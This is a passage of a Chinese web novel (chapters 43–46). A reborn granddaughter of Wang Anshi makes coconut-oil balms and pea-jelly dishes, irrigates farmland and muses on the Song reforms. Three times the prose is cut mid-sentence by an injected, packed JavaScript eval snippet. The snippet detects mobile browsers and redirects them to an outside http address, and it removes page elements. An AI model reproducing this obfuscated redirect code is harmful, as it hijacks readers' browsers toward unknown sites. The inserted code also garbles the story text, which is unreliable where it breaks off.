赵元宁将手背上的椰油搓开来涂抹均匀，边搓边闻，“唔，好香，既有椰子的清甜，亦有腊梅的冷香。”他有些不敢置信：“这真的是用椰浆提炼出来的油脂吗？” “如假包换。”王文茵将静尘推到他面前：“这些椰油都是静尘师太提炼出来的，不信你可以问她。” 静尘点了点头，“我按小娘子说的法子，将静置两日的椰浆上层的油脂取出后置入钵中，再用勺子搅拌成奶油状。静置一日后，奶油状的椰油便成了乳白色的凝脂。此时将陶钵放入热水盆中熨烫，乳白色的凝脂又变回了透明的椰油。【注1】 随后将椰油倒入模具中，冷却凝固后再将新鲜采摘下来的腊梅花放置其上，这便是脂吸法。隔日待腊梅变黄脱干后再换一批新鲜的花朵覆上，如此反复五六次就成了饱吸腊梅冷香的椰油。”【注1】 “原来如此。”赵元宁不由感叹：“椰子竟是这般好东西，不仅可以做成椰浆饮用，还能拿来滋润肌肤。只可惜汴京不产椰子，否则这椰油香膏必将成为最受汴京女子喜爱的护肤品之一。” 王文茵点头道：“椰子运输不便，是以价格颇高，但若想做护肤香膏，猪油、山茶油、菜籽油亦可作为椰油的平替。” 善于抓重点的赵元宁立刻把王文茵提到的山茶油和菜籽油给圈了出来，“山茶油我倒是听说过，菜籽油却是从未曾见过。” “你在何处见过山茶油？”王文茵欣喜道。 43. 第四十三章 赵元宁摇头：“并没有，权因家父家母早年去南方采购药材时曾见过山茶树。家母觉得此树开花甚美，家父便选购了一批树苗回来试种，破费了一番功夫才将此树种活。这树的果子在每年霜降时节成熟，据说可以用来榨油，只是我们并不清楚该如何操作，是以都被白白浪费掉了。”【注1】 “山茶树喜欢温暖湿润的气候，通常生长在南方，种植的土壤以酸性为宜，想不到居然在北方也能存活。”【注1】王文茵津津乐道：“山茶树浑身都是宝，不仅果子可以榨油，若是将山茶树的嫩枝点燃烧成的灰撒在蒸熟的米饭上便可用以繁殖米曲霉菌。”【注2】 “米曲霉菌是何物？” “米曲霉菌也叫米曲菌，是一种带有菌丝的真菌，可用来发酵大豆制作酱油、味噌和甜面酱；亦可用于糖化稻米、小麦等粮食作物，发酵制作甘酒、黄酒、清酒等酒类；当然还可以制作米醋。”王文茵解释道。【注2】 赵元宁恍然大悟，马上就联想到：“如此说来，这米曲霉菌同酒曲岂不是有异曲同工之妙，都能用来酿酒？” 王文茵点头又摇头，“酒曲与米曲菌虽则都能用来酿酒，但酿出来的酒风味却不尽相同。且米曲菌用途比酒曲更广，比如用米曲菌与稻米发酵而成的甘酒便是一种不含酒精成分的饮子。”【注2】 一说到饮子赵元宁肚子里的蛔虫又开始蠢蠢欲动了，忍不住怂恿王文茵：“既然山茶树的嫩枝烧成灰便能用来繁殖米曲菌，不如我们试试？” 王文茵戳穿他的目的：“你是想喝甘酒吧？” 赵元宁挠挠头，嘿嘿笑道：“又被看穿了啊。” 王文茵也正有此意，两人一拍即合，赵元宁回家去剪山茶树枝，顺带把今年结的山茶果子一并收集起来。王文茵则计划等香料铺子装修完后让穆叔再打造一套榨油工具，若是能找到越冬型油菜便可以自己加工榨菜籽油同山茶果油了。 ***** 夜间做完晚课，静尘到禅房去给师父妙善送宵夜，见妙善一脸惆怅发愣的样子，不禁吓了一跳，“师父这是怎么了？是有什么烦心事，不妨说出来听听。” 妙善抬起浑浊的眼，长叹一口气道：“是我错了。” “师父何出此言？”静尘感到一头雾水，一向自诩通透的师父怎么突然检讨起自己来，这是……吃错药了？ 妙善摇了摇头，痛悔不已：“当初我若是能多关心王小娘子就好了……一想到她差点病死在我这里，我就……就恨不得扇自己两巴掌。” 妙善的话勾起了静尘的心思，她对王文茵也有同样的愧疚，“小娘子是真善人，若是换做旁人定然不会轻易将这些制作香皂、扣脂的技术毫无保留地传授给我们，跟她比起来我们……我实在有愧。” “你说，她为何毫无保留地将这些技术传授给咱们？她就不怕咱们背着她自立门户，用她教的这些技术赚大钱去？”妙善始终想不明白王文茵这么做的动机。 “不瞒师傅，徒弟其实早就问过王小娘子这个问题了。”静尘坦言。 妙善一愕，“那小娘子又是如何回答的？” 静尘苦笑，“小娘子说她传授我们这些技术的目的就是想让我们自立门户。她说她知道静缘庵收入微薄，常年入不敷出，单靠官府的资助是难以为继的。是以，她想让我们多学一门技术，增加收入来源，这样才能去资助更多需要帮助的老弱病残幼。” 妙善内心大为震动，不敢置信喃喃道：“她……她真这么说？” 静尘肯定地点了点头。 妙善垂下了头，一张老脸羞愧不已，“竟是我误会她了，先前我还想着等你们把小娘子的制皂技术学会了，咱们便可以自立门户……我，我真是错得离谱！身为出家人我竟然生出此等邪恶的念头，我根本不配做出家人。” 静尘又何尝不知道师父那些鸡零狗碎的小心思，轻叹一口气道：“小娘子才是真正的菩萨心肠。” 妙善腾地站起来，步履蹒跚往外走去。 静尘上前拉住她，“师父这是要去哪儿？” “我去给小娘子赔不是，求她原谅。” 静尘简直哭笑不得，婉言道：“师父无须多虑，小娘子说，人在绝境中难免会生出一些杂念，此乃人之常情。她本意并非是想让我们感到愧疚，而是希望我们能用学会的技术去帮助更多有需要的人。” 妙善颓然坐下，冷静了好一会儿点头道：“我知道该怎么做了。” ***** 王文茵并不清楚妙善师徒的心理转化，她正在兴致勃勃地指挥一众农户们改造旱地呢。 旱地改水田首要任务就是修蓄水池、灌溉渠，整顿田间道，并在田地里铺设输水管，农田能排能灌，就能确保庄稼旱涝保收。再通过地力培肥，对水田进一步固土保水，等第二年开春便可以栽种优良的农作物了。【注3】 文安世那边经过多次试验后已将最坚固的水泥混凝土配方定下，虽然受限于这个时代的技术水平，他们能制造的水泥远远达不到后世的水准，但用这样的水泥配方修筑的混凝土蓄水池已经遥遥领先于这个时代了。 对此，文安世感到非常满意。 他将研究成果毫无保留地交给王文茵，“听说你要修蓄水池，将旱地改造成水田，正好可以用水泥混凝土试试效果。” 王文茵也不客气，接过水泥混凝土配方玩笑道：“作为回报，我也打算送你一件神秘礼物。” 文安世素来老成持重，心里虽然高兴，面上却淡淡的，“什么礼物？” “都说了是神秘礼物，说出来就不神秘了。”王文茵嘻嘻一笑：“保证是你从来没见过的。” 大多数时候文安世觉得王小娘子一点不像个孩子，无论是学识还是思想，她都远比同龄人成熟，甚至连他自己都自愧不如。但这一刻，她笑盈盈的模样又像孩童般天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990145|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真无邪，他有些模糊地想，也许自己喜欢的就是她这捉摸不定，变幻万千的古灵劲儿。 “蓄水池同灌溉渠都可以用水泥混凝土修筑，但输水管该用什么修建呢？”文安世虚心求教。 “简单。”王文茵手指向后山上的那片竹林：“将通了节的竹筒首尾相连便是现成的输水管。” 文安世笑着赞许道：“确实是个好法子。” “这都是民间的智慧，并非我独创。”王文茵也不揽功。 “我知道。”这回文安世倒是没再好奇王文茵的信息来源，委婉道：“你可知道王介甫相公在位时颁布的‘农田水利法’？” 王文茵：“……” 又来！这位文家七衙内总是有意无意试探她，也不知他究竟想从她这儿探听些什么？ 王文茵不语，文安世自问自答起来：“先帝继位之初，我朝财政已是捉襟见肘，‘百年之积，惟存空簿’【注4】。熙宁元年（1068年）当时朝廷一年的财政收入几乎有九成以上要投入到解决三冗、战争和民变问题上，单是为了应付辽国和西夏，每年的支出就高达百万。”【注5】 “王相公执掌‘制置三司条例司’（翻译成现代文叫‘制定财政法规局’）后，曾先后颁布了均输法、青苗法、农田水利法、募役法、保甲法、方田均税法、市易法、和免行法。在王相公一系列的经济政策刺激下，朝廷的财政收入大幅增长，国库积蓄至少可供20年的财政支出。”【注5】 “但随后朝廷发生了一系列变故，王相公罢相退隐，先帝驾崩，太后临朝听政。司马相公（司马光）上台后，几乎废除了王相公变法的全部内容，唯独保留了‘农田水利法’，谓之‘唯留水利一科，谓百害中获一利’。而另一位反对变法的苏子瞻苏大人也十分重视水利建设，在他担任杭州通判，徐州知州期间就曾大力兴修水利，治理水害。”【注5】 “‘农田水利法’下达全国后，我朝境内兴修的水利工程多达一万七千多处，灌溉的民田更是高达三千多万亩。随着朝廷大力兴修水利工程，鼓励农民开垦荒田，财政收入也因此大幅增长。百姓能吃饱饭，民乱也相应减少，而这一切都要归功于最初颁布这项政策的那位王介甫相公。”【注5】 王文茵闻言久久不语，祖父从未跟她谈起过朝中之事，兴许因她是女孩儿的缘故。但她深知祖父在病中得知新法被废后痛心疾首，却又无可奈何的那段时日是多么凄凉。 后世曾一度将北宋灭亡的罪魁祸首归咎于王安石变法，先帝过世后祖父成了饱受旧党抨击的大奸臣，可王文茵知道这都不是真的。祖父这一生是为变法而生，亦是为变法而亡。当他在病榻之上听闻他曾经的老朋友司马光罢黜他倾注最多心血的免役法后，精神支柱彻底坍塌，不久便撒手人寰。 王文茵冷笑着问道：“七衙内同我讲这些做什么？我又不是当朝宰执，朝堂之事岂是我一介民女能掺和的？” 44. 第四十四章 文安世认真看着王文茵，她惯会掩饰，却不知道自己并不善于撒谎，尤其是那双眼睛，总是出卖她。 他低声笑了笑：“我只是觉得你所做的事跟王相公倾尽一生心血推行的变法主张不谋而合罢了。” 王文茵两条细细的柳眉微微蹙起，一脸不解，“你可知你所说的这些都是同尊祖父的政治主张背道而驰的？” “我知道。”文安世很坦率。 王文茵没好气：“那你为何……” “为何忤逆？”文安世正色道：“出生在什么样的家庭不是我能选择的，但我并非无知无识的傀儡，我深知自己想要成为什么样的人，即便我选的路与我的家族是相悖的，哪怕要我付出极高的代价，甚至是生命，我也不会放弃。” 都是这般执拗顽固，王文茵暗暗叹气，“你可知王相公的变法为何会失败？” 文安世苦笑，“太执拗？” “你既知道又为何学他？”王文茵简直不知道该说什么了，一个清醒又偏执的人才是最不可理喻的。 “我没有学他，执着不等于执拗。王相公于我而言是神一般的存在，我只想尽我所能把他未竟的大业往前推进哪怕只是一小步也好。”文安世一脸崇拜又热烈的向往着。 王文茵毫不犹豫打破他的理想主义，“没有朝廷的支持你又如何能将已经废除的新法重新推进？” 文安世笑得狡黠，“眼下是太后执掌朝政，确实不行，但不代表将来不行。” 王文茵看过后世的历史书，知道他指的是将来掌权后重新推行变法新政的宋哲宗赵煦，但她不能轻易泄露历史的走向，于是便摇头道：“将来太遥远，不如想想今晚吃什么更现实。” 文安世：“……” 这是什么脑回路，人家跟她谈政治抱负，她却满脑子都是“今天吃什么？”。 王文茵歪着脑袋认真想了想，拍掌笑道：“我知道今天吃什么了，锅巴油粉！” 这一回没等文安世再开口问“锅巴油粉是何物”，王文茵已经主动告诉他这是一种用豌豆制成的美食。 文安世觉得不可思议，“一粒豌豆竟能做出如此多种形态的美味来？” “是呢，豌豆可是好东西。”王文茵点头道：“就像口感不佳的早籼米可用来做米粉、米线、肠粉一般，豌豆既可以炒菜，亦可以做凉粉，油粉，锅巴等吃食。民间的百姓善用智慧将不起眼的食材变幻出各种美味来。” 文安世表示想亲眼见识一下，王文茵也不藏私，便在文家庄的灶房里给他展示一粒豌豆的盛宴。 豌豆起源于亚洲西部和地中海地区，后传入印度北部，经中亚细亚传至中国，早在汉朝中华大地就开始种植这种植物了。【注1】 王文茵将精心挑选出来的干豌豆用石磨磨成粉，先用泉水过滤一遍杂质，随后用麻布沥出头道生浆。接着再加点水将豌豆粉稀释一下，洗出第二道生浆，如此反复多次后将豌豆内含的淀粉全部洗出，而豆渣则放到一旁备用。【注2】 “这剩下的豆渣也不能扔，加点调料做成酥炸丸子，也是一道美味。” 文安世觉得很有意思，认识王文茵后令他对食物有了全新的看法，食物不分贵贱，哪怕再不起眼的食物经过聪明的厨娘妙手烹调后就是一道无上的美味。 文安世挽起袖子要帮忙，却被王文茵一句“君子远庖厨”给婉拒了。叫文家七衙内在文家灶房内给她打下手，这事儿传出去指不定会闹出什么谣言来。若是文老夫人知道了，她怕自己吃不了还得兜着走。 文安世岂会不懂王文茵的心思，抿嘴笑笑，放下衣袖站去一边观摩学习。 王文茵把洗出的豌豆生浆混合在一起，撇去表面的浮沫，静置在一旁沉淀。趁这空档她又开始调制豆渣，先后加入葱姜水、盐和秘制的十三香调料，混合搅拌后起锅热油。待油温上来后将豆渣搓成一个个丸子下锅煎炸。炸至八分熟后用笊篱捞起，沥干油后再回油锅中复炸至酥脆。【注2】 刚炸好的豌豆丸子外皮酥脆，内心软糯，王文茵请文安世品鉴。 文安世用筷子夹起一颗尝了尝，发现这废物利用的豆渣素丸子口感竟不输肉丸子，不由惊讶道：“果然美味！” 王文茵暗暗好笑，私心认为这文家七衙内多半是平日里山珍海味吃多了，偶尔品尝民间小吃，自然是别有一番滋味在心头。 这一盘豆渣素丸子趁热让大管家送去给文老夫人尝鲜，王文茵又着手做起了锅巴。 “你看，过滤沉淀后的豌豆生浆分为三层。”王文茵指给文安世看：“最下面的那层是豌豆淀粉，中间这层便是用来做锅巴的漂粉。”【注2】 她将漂粉倒入锅内，用小火慢煎，期间不停拿刮板沿着锅底的弧度均匀地摊出一张薄薄的豌豆锅巴。待粉浆完全熟透后，再用铲子轻轻一铲，色泽金黄的豌豆锅巴便可轻松脱出，放置一边晾凉。【注2】 新鲜出炉的锅巴薄脆香浓，有人“咕咚”吞了一大口口水。 王文茵扭头去看，文安世一脸尴尬，陈武马上举手招供：“是我馋了。” 王文茵抿嘴笑笑，将一大张锅巴递给文安世：“帮我尝一下看看咸淡够不够。” 呵，这是替他嘴馋挽尊呢，文安世顺水推舟，笑纳了。 他矜持地掰了一小块品尝，余下的都给了陈武。新鲜出炉的锅巴一口一声脆，单吃就是美味的小点心，灶房内咔哧声交织着锅巴香，引来一众下人围观，馋得大家口水直流三千尺。 王文茵见状又分了几张锅巴给他们共享。 将豌豆生浆的漂粉和清水去除后，剩下的便是底层的豌豆淀粉。成熟的豌豆淀粉含量超过五成，经过多次清洗沉淀，过滤掉蛋白质、细纤维和色素，豌豆淀粉的颜色已由淡黄变成纯白，加点清水稀释后搅拌成浆待用。【注2】 与此同时，在干净的铁锅内加水煮至小泡泡浮现，此时需加点盐提味，再加点漂白后的草木灰碱增加豌豆凉粉的弹性。随后将搅拌均匀的豌豆淀粉缓缓倒入半沸腾的开水锅内，熬煮一刻钟，边煮边搅拌，直到淀粉水浆糊化出粘稠透明胶质状的液体，便形成了油粉。【注2】 油粉出锅后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995053|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁热同锅巴组装，一张锅巴垫底，舀上一大勺热油粉摊抹均匀，淀粉凝胶与锅巴充分粘合，重复交叠。在热油粉的作用下，酥脆的锅巴便会软化，待油粉冷却定型后便组合成了豌豆千层锅巴油粉。【注2】 王文茵将剩下的油粉装碗后在上头撒上锅巴脆片，便是一碗热锅巴油粉，再将米醋、面酱、麻椒油、香油、、蒜汁、芝麻酱、芝麻粉、香菜、葱花分别装碟组成蘸水配料大盘，一并让大管家送去给文老夫人享用。【注2】 这段时间忙于自己的小事业，王文茵已经有日子没给文老夫人做吃食了，今日献上的锅巴油粉深得老夫人欢心。凉拌的锅巴油粉色泽金黄，层层叠叠，柔滑爽口，豆香浓郁，有果冻般的口感。而热锅巴油粉又是另一番风味，锅巴绵韧，油粉清亮，蘸水可随个人喜好调制。【注2】 文老夫人胃口大开，更觉不可思议，“这几件素炸丸子、锅巴油粉竟然都是用豌豆所制成？” 王文茵含笑点头，“回老夫人的话，正是呢。” 文安世也在一旁佐证：“祖母，是我亲眼看着小娘子做的，如假包换。” 文老夫人啧啧称奇，“实在难以想象一粒小小的豌豆竟能做出一桌子盛宴来，小娘子于厨艺真是有着得天独厚的天赋。” 王文茵却摇头，“老夫人误会了，这锅巴油粉并非我自创，而是西南大理国西夷人发明的美食。” 文老夫人赞赏地笑了，“你是个实诚孩子，若是换做旁人，怕是会隐匿真相，独自掠美。” 王文茵谦逊地笑了笑，得了文老夫人的赏银后便回去了。 待她离开后，文老夫人突然语气沉重道：“想不到王相公的嫡亲孙女竟会沦落至此。” “祖母！”文安世惊诧抬头，却发现文老夫人一脸了然于胸的样子，喃喃道：“您已经知道了……” 文老夫人长叹一口气，“她是元泽（王雱）的遗孤，她娘亲萧氏是我娘家的远房侄女。她同她娘跟饼印似的，第一次见到她我就觉得眼熟，找人打听了一番才知道竟真的是萧氏之女。” 文安世立刻下跪，“求祖母原谅，孙儿并非有意隐瞒，只是怕……” “你怕我知道她是王相公的嫡孙女会对她不利？”文老夫人失笑。 文安世摇头，“祖母宅心仁厚，绝不会因祖父与王相公政见不和便对王小娘子心生排斥，孙儿只是担心祖母反对我与她往来。” 文老夫人怎会不懂自己孙子的心思，只是横亘在两家人之间的鸿沟并不是一句话就能跨过去的。 “我不会阻扰你们往来，只是你也要做好心理准备，你祖父是绝无可能同意你与她走太近的。” 文安世闻言惊喜交加，“只要祖母不反对，我自有办法说服祖父。” 文老夫人摇了摇头，“儿孙自有儿孙福，罢了，你一贯稳重，不像你那几个兄弟。王小娘子这般钟灵毓秀之人，我见了也欢喜，你若真心想护她，就必须为自己挣出一条仕途来，如此才能堵上悠悠之口。” 文安世叉手行礼，郑重道：“孙儿谨遵祖母教诲！” 45. 第四十五章 王文茵对自己爹娘的印象并不深刻，她是遗腹子，出生在父亲王雱过世后的翌年腊月。父亲过世那年是熙宁九年（1076年），这一年，祖父王安石再次拜相后得不到官家更多支持，加上变法派内部分裂严重，新法很难继续推行下去，而父亲的死又令祖父饱受打击。在极度悲痛之下祖父辞去了宰相之职，外调镇南军节度使、同平章事、判江宁府。【注1】 罢相辞官后王安石便再也没有回过汴京，他们一家南迁去了江宁（南京），王文茵便是在江宁出生。父亲去世后没两年，母亲萧氏因思念过度也追随他而去。王文茵四岁那年，祖父母将族亲的幼子过继给父亲为嗣子，取名王棣，王文茵与王棣便是由王安石夫妇抚养长大。【注1】 元丰元年（1078年）正月，王安石晋封舒国公，两年后又晋封为“荆国公”，史称“王荆公”。然而这些虚名于王安石早已如浮云，退休后的他只想远离朝堂纷争，与家人一同度过晚年平静的日子。【注1】 南迁后，王安石在江宁城东门外至蒋山的半道上修葺了一座小院子定居下来，此院距离江宁城与蒋山各半，故命名为“半山园”，王文茵的童年便是在半山园内度过的。半山园名义上是庄园，实则不过是几间用篱笆围起来的矮房而已，连像样的砖瓦院墙都没有，以至于附近的人都不敢相信这园子的主人竟是大宋著名的改革家——宰相王安石。【注1】 在王文茵的记忆里，祖父就是这么一个安贫乐道，对物质没有任何追求的人。他的晚年生活除了著书立说，就是经常带着她们姐弟骑着毛驴四处游玩。在等级分明的封建社会里，王安石是自始至终贯彻众生平等理念的少数另类，他待人没有一丝一毫身份上的优越感，而这一点也深刻影响了王文茵。【注1】 虽然是王安石的嫡亲孙女，但王文茵对王安石的了解非常有限，在她印象里，祖父就是个普通的老人。如果不是穿越去了后世，她大概永远不会知道王安石这三个字对整个大宋朝意味着什么。 从太虚幻境中重生归来后，王文茵便将王安石留下的日记拿出来阅读，结合后世对他的记载，这才清晰地了解到她的祖父——这位宋代历史上赫赫有名的改革家的生平和政治理想。 王安石于庆历二年（1042年）考中进士后，因一句“孺子其朋”惹得宋仁宗不悦，与状元失之交臂，降为第四名。这样的事若是发生在其他进士身上，怕不是要遗憾终身，可王安石非但不以为憾，还主动放弃了京试入馆阁的好机会，自请去鄞县（今宁波）任知县，下基层历练去了。【注1】 士大夫走科举之路的终极目标是为了入京当官，而馆职就是升官的一条捷径，清高如司马光都无法拒绝馆职，偏偏王安石就是那个另类。在王安石看来做官就是要做父母官，要下基层跟老百姓深入接触才能体察民情，做出对百姓有利的改革来。【注1】 王安石在鄞县当知县的四年，不但兴修水利、扩办学校，还经常下乡走访，事必亲躬，全面了解老百姓的真实生存状况。通过走访得知，大部分的农户虽然勤勉辛苦，一年到头却攒不下什么粮食，给官府交完税后更是捉襟见肘，连吃饭都是问题，一旦遇上天灾人祸农民就只能靠借贷度日。民间的高利贷，利滚利，农民根本不可能还得清，最后只能卖田卖地，倾家荡产卖身为奴。如此一来地主越来越富，农民越来越穷，国家能收的税也越来越少。【注1】 王安石心里清楚，简单粗暴地干预民间高利贷是不现实的，于是他想了一个新的措施，把县衙能够动用的粮食以远低于高利贷的利息放贷给农户，帮助他们度过危机。这项名为“低息贷粮”的官方放贷模式相当于现代的“低息农业贷款”，也是后来王安石变法政策中的“青苗法”的雏形。【注1】 “低息贷粮”不但解决了老百姓最恐惧的民间高利贷问题，还提高了农民的生产积极性，同时也让地方上的粮食储备实现了增值。为了解决农民的粮食产量问题，王安石又带领全县百姓兴修水利，增加农田的灌溉面积，提高了每亩的粮食产量，也为后来的“农田水利法”打下了良好的基础。【注1】 因在鄞县四年政绩突出，任职期满后王安石晋升为舒州（今安徽潜山）通判，也就是地级市副市长。而王安石本人深受百姓爱戴的父母官声名更是广为传颂，自然也传到了朝堂之上。时任宰相的文彦博出于对王安石的欣赏，想把他破格调入京师，却被王安石以京官收入低为借口推辞了。【注1】 舒州通判任职三年期满后，在偶像欧阳修的推荐下，王安石勉为其难地接受了“群牧判官”的职位。“群牧判官”就是负责管理国家马匹的机构官员，马匹属于国家重要的战略资源，工作的重要性不言而喻。可对王安石来说与其在京城里当“弼马温”，不如下去基层干实事，于是干了不到两年他又申请外放，先后担任了常州（今江苏常州）知州和提点江东刑狱。【注1】 王安石多次拒绝朝廷让他入京担任馆职的任命并非是他清高，更加不是因为京官薪水不及地方官高，而是他想通过县、州、路三级地方行政机构的基层岗位实践自己的施政理念，并蓄积力量等候一个最佳时机去实现自己的政治抱负。【注1】 嘉祐四年，王安石终于等到了一个好机会，他被任命为三司度支判官。【注1】 三司度支是掌管国家预算的机构，这里掌握着国家的财政收支情况。这一次王安石没有推辞，欣然接受了这份新工作。也是在三司度支，王安石与他毕生的政敌司马光成了同事，并由此开启了两人从挚友到死敌，相爱相杀、渐行渐远的政治生涯。【注1】 在担任三司度支判官后不久，王安石便向宋仁宗递交了一封万言奏疏，对北宋愈发严重的“三冗”问题和社会弊病、政治经济危机进行了深入的分析，并提出了自己的改革主张。只是有过庆历新政失败的前车之鉴，年事已高的宋仁宗早已失去了改革的动力和勇气，枉费了王安石的一腔热血，这件事到最后也就不了了之了。【注1】 嘉祐八年（1063年），宋仁宗驾崩，宋英宗赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998896|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曙继位，同年王安石的母亲去世，心灰意冷之下王安石便回江宁丁忧去了。这样一直到治平四年（1067年）宋神宗赵顼继位，王安石总算等来了改革路上志同道合的小伙伴，那场撼动北宋根基的熙宁变法从此拉开序幕。【注1】 王文茵掩卷长叹，祖父的日记她已经翻看过无数遍了，每看一遍都有新的收获。 变法失败有多重原因，但最主要的是王安石后来身居庙堂之上，严重脱离群众，又对地方官执行变法政策鞭长莫及。加上他老人家性格执拗，不懂变通，他自己虽然不是好大喜功、争名逐利之人，但架不住身边猪队友多，最后弄得自己孤立无援也是必然的结果。 而早年王安石在地方能做出政绩的主要原因就是跟基层老百姓走得近，听得见底层人民的真实声音，可见想干好实事就不能脱离群众，要从群众中来再到群众中去。 作为穿越过后世的人，王文茵并不认为自己是带着改变历史走向的使命重生而来的，她坚信一点，历史不可能因为一个穿越者而改变，她也不想卷入朝堂复杂的政治倾轧中。 所以，最开始她的目的只是想搞点钱，摆脱穷困潦倒的境地，让自己和阿弟能活得下去。可当她发现自己所掌握的来自后世的先进技术和秘方对这个朝代是有碾压式的巨大优势后，她的想法就变了。 既然她能改变身边这些老弱病残幼寡流民的人生，发挥他们潜在的能力，那她为何不去帮助更多的人？挣扎在社会底层的人，他们穷困潦倒并不是因为他们好吃懒做，而是因为他们根本没有挣脱困境的机会，而她恰好掌握了可以改变他们命运的金手指。 也许，这才是她重生的使命。 有了这样的意识，王文茵便知道自己接下去要做什么了。文安世没说错，她的确是在效仿祖父王安石当年走过的路，为生民立命。即便这个国家在几十年后将会面临倾巢灭亡的巨变，她也想在有限的时间内为更多的人做点有价值的实事。 王文茵盘点了一下自己手头的几个项目，米线作坊运作良好，最近的订单甚至已经需要排期到明年了。她打算若是订单持续增长，便再投资修建一家分坊，这样可以解决一部分流民的生存问题，但这需要跟县衙商量一下用地的问题。 鲁大他们的梯田改造正在有条不紊地进行中，而她自己买的旱地已经开始兴修水利，准备改造成水田，顺利的话来年春天便可耕种。若是这两类田地改造能成功，那便可将这些宝贵的经验推广开去，让更多失去土地的流民重获田地，恢复农民的身份。 香料工坊的产品再有几天就可以出货了，到时候可根据香料铺子的销量再考虑是否需要增产。阿萍家的米线摊如今生意火爆，不但带动了米线作坊的订单量，还吸引了不少从汴京赶来的饕客打卡，接下去可看情况再增加一些流动小吃摊，增加就业机会。 就这样，几日后王文茵又去了一趟朱仙镇，一是为了验收香料铺子，做开业前的准备；二是同张二嫂、李阿萍她们商量自己的商业拓展计划。 46. 第四十六章 张二嫂得知王文茵要过来验收，便带着几名店员提前将香料铺子收拾得纤尘不染。前一日运抵的各种混合香料及香皂、香膏、香油、洗发水、沐浴露等护肤品也已经陆续摆上架，一眼望去可谓是琳琅满目、应接不暇。 几名店员经过张二嫂的严格培训已经颇有现代商场化妆品柜姐那味儿了，推销起自家的产品来那叫一个口若悬河、滔滔不绝，保管让客人空手上门绝不好意思再空着手回去。 虽然张二嫂事先已经给店员打过预防针，但看到老板居然真的只是一个十岁的女娃，店员们还是惊得下巴都快掉下来了。对此王文茵已经见怪不怪了，她虽不喜欢端老板的架子，但该有的威严还是要有，三言两语便将她们收得服服帖帖。 “小娘子，咱们打算什么时候开业？”张二嫂已经有些迫不及待了，毕竟准备了这么久，一想到她们的香料铺子是如此的与众不同，兴奋得每晚都睡不着觉。 店员们也是一脸期待。 王文茵摆摆手，笑容轻松，“咱们呀在开业之前先搞一个试营业。” “何谓试营业？” “试营业便是先让客人免费试用一下咱们店铺的产品，赠送一些优惠券，再听取一下大家的反馈意见和建议，顺便打打广告。” 张二嫂虽然早已习惯王文茵的说话方式，但这么多新鲜词儿她也是头一回听说，其他几个店员更是一脸懵。于是乎，王文茵便用她们听得懂的语言详细解释了一番，听到最后所有人都不约而同点起头来，觉得自家老板果然不走寻常路，不但能发明那么多新奇的护肤品和香料，还有着如此超前的营销方式，这铺子不火才怪。 给店员们打完鸡血后，王文茵又去给李阿萍父女俩画大饼了。 经过这段时间的历练，阿萍父女俩已将米线摊支棱起来了。尽管每日食客络绎不绝，父女俩再也不似刚开业时那般手忙脚乱、慌里慌张，如今的他们做起生意来应对自如，愈发游刃有余了。 阿萍见到王文茵的第一件事便是将账本呈现给她看，这账本她每日临睡前都会详细记录一日的收支，并给张二嫂过目，为的就是不想让王文茵以为他们一家隐匿了米线摊的收入。 王文茵大略翻了翻就将账本放去一边了，米线摊每日进出货的量有定数的，哪怕他们想贪污也贪不了多少，更何况她信得过阿萍父女的人品。 “小娘子，你是不知道，咱们的米线如今是有多受欢迎。”一说到生意火爆阿萍很是得意，邀功似的讲起这段日子的奇遇：“前些日子有一位大人特地从汴京城赶来朱仙镇，就为了品尝咱们家这一口米线。他说自己从来没吃过这么好吃的美味，回去以后一定要写一篇文章投稿给那个什么汴京日报，要好好替咱们宣传一下呢。” 王文茵心里一动，“你可知道这位大人姓什么？” “倒是不知。”阿萍摇了摇头，继而高兴道：“不过他说等过几日汴京日报刊登出来后会叫人送一份过来给咱们，到时候小娘子便知道这位大人姓甚名谁了。” 王文茵脑海中闪过一个人，此人满腹才学，又酷爱美食，号称北宋第一老饕，孤独的美食家苏东坡也。 她没再继续追问下去，而是告诉阿萍父女俩：“我打算再投资一两个米线摊，扩大经营。” 阿萍有一瞬间的怔愣，讷讷道：“小娘子是不是觉得我们做得不够好？目前生意还挺好的，若是小娘子还想更好，我们会更加努力的。” 王文茵知道阿萍误会了，失笑道：“不是我，是我们，我们一起投资。” 阿萍眨眨眼，有些不敢置信：“小娘子是让我们做老板？” 王文茵含笑顿首。 阿萍有些激动，又有些惶恐，支吾道：“我怕……我怕我们做不好，万一生意不好可咋整？” “生意不好就算我的。” 阿萍父女俩马上摇头摆手，“那可不行啊，既然小娘子叫我们一起投资，那咱们就是一条船上的蚂蚱，有福同享有难同当，生意不好怎么能算小娘子一人的，必须也有我们的一份！” 